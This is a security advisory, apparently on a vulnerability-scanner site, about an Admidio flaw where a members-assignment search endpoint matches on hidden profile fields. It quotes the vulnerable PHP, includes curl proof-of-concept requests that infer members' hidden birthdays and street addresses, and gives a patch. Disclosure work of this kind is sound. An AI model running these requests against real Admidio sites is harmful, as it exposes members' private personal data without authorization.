| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| admidio/admidio | < 5.0.9 | 5.0.9 |
The member assignment DataTables endpoint (members_assignment_data.php) includes hidden profile fields (BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY) in its SQL search condition regardless of field visibility settings. While the JSON output correctly suppresses hidden columns via isVisible() checks, the server-side search operates at the SQL level before any visibility filtering. This allows a role leader with assign-only permissions to infer hidden PII values by observing which users appear in search results for specific values.
The search columns are hardcoded at modules/groups-roles/members_assignment_data.php:118-126:
$searchColumns = array(
'COALESCE(last_name, \' \')',
'COALESCE(first_name, \' \')',
'COALESCE(birthday, \' \')', // hidden field - no visibility check
'COALESCE(street, \' \')', // hidden field - no visibility check
'COALESCE(city, \' \')', // hidden field - no visibility check
'COALESCE(zip_code, \' \')', // hidden field - no visibility check
'COALESCE(country, \' \')' // hidden field - no visibility check
);
These columns are concatenated into a SQL LIKE search at line 139:
$searchCondition .= ' AND LOWER(CONCAT(' . implode(', ', $searchColumns) . ')) LIKE LOWER(CONCAT(\'%\', ' . $searchValue . ', \'%\')) ';
The SQL query at lines 200-235 fetches all these fields via LEFT JOINs on adm_user_data, and the search condition is applied as a subquery filter at lines 258-262:
$sql = 'SELECT usr_id, usr_uuid, last_name, first_name, birthday, city, street, zip_code, country, ...
FROM (' . $mainSql . ') AS members
' . $searchCondition . $orderCondition . $limitCondition;
The output visibility checks at lines 291-335 correctly call $gProfileFields->isVisible('BIRTHDAY', $gCurrentUser->isAdministratorUsers()), which returns false when usf_hidden=1 and the user is not an admin. However, this only controls whether the column appears in the JSON response — the result set has already been filtered by the search.
The authorization check at line 77 uses allowedToAssignMembers() (src/Roles/Entity/Role.php:98-121), which passes for role leaders with ROLE_LEADER_MEMBERS_ASSIGN (value 1). These leaders do not have isAdministratorUsers() privileges, so isVisible() returns false for hidden fields — but the search still operates on them.
# Prerequisites:
# - Authenticated as a role leader with ROLE_LEADER_MEMBERS_ASSIGN rights
# - BIRTHDAY field is configured as hidden (usf_hidden = 1)
# - Target role has a known UUID
# Step 1: Baseline - get all members without search filter
curl -b 'PHPSESSID=<session>' \
'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D='
# Response: returns all users. Birthday column is NOT in output (hidden).
# Note recordsFiltered count.
# Step 2: Search for a specific birthday value
curl -b 'PHPSESSID=<session>' \
'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D=1990-03-15'
# Response: only users whose hidden birthday matches "1990-03-15" appear.
# Birthday column is still NOT in output, but result set is filtered by it.
# User names (always visible) reveal which users have that birthday.
# Step 3: Enumerate hidden street addresses
curl -b 'PHPSESSID=<session>' \
'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D=123+Main+St'
# Response: only users living at "123 Main St" appear in results.
# Address fields are hidden in output but the search matched against them.
これらの製品をお使いですか？サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャンA role leader with assign-only permissions (the lowest leader privilege level) can extract hidden PII for all organization members including:
This is a blind oracle attack: hidden field values are never displayed, but by searching for specific values and observing the filtered result set (user names and recordsFiltered count), an attacker can determine which users match any hidden field value. This defeats the administrator's intent in marking these fields as hidden.
Filter search columns by visibility before constructing the SQL search condition. Replace lines 118-126 with:
$searchColumns = array(
'COALESCE(last_name, \' \')',
'COALESCE(first_name, \' \')',
);
$isAdmin = $gCurrentUser->isAdministratorUsers();
if ($gProfileFields->isVisible('BIRTHDAY', $isAdmin)) {
$searchColumns[] = 'COALESCE(birthday, \' \')';
}
if ($gProfileFields->isVisible('STREET', $isAdmin)) {
$searchColumns[] = 'COALESCE(street, \' \')';
}
if ($gProfileFields->isVisible('CITY', $isAdmin)) {
$searchColumns[] = 'COALESCE(city, \' \')';
}
if ($gProfileFields->isVisible('POSTCODE', $isAdmin)) {
$searchColumns[] = 'COALESCE(zip_code, \' \')';
}
if ($gProfileFields->isVisible('COUNTRY', $isAdmin)) {
$searchColumns[] = 'COALESCE(country, \' \')';
}
This ensures the SQL search only operates on fields the current user is authorized to see, matching the behavior of the output visibility checks.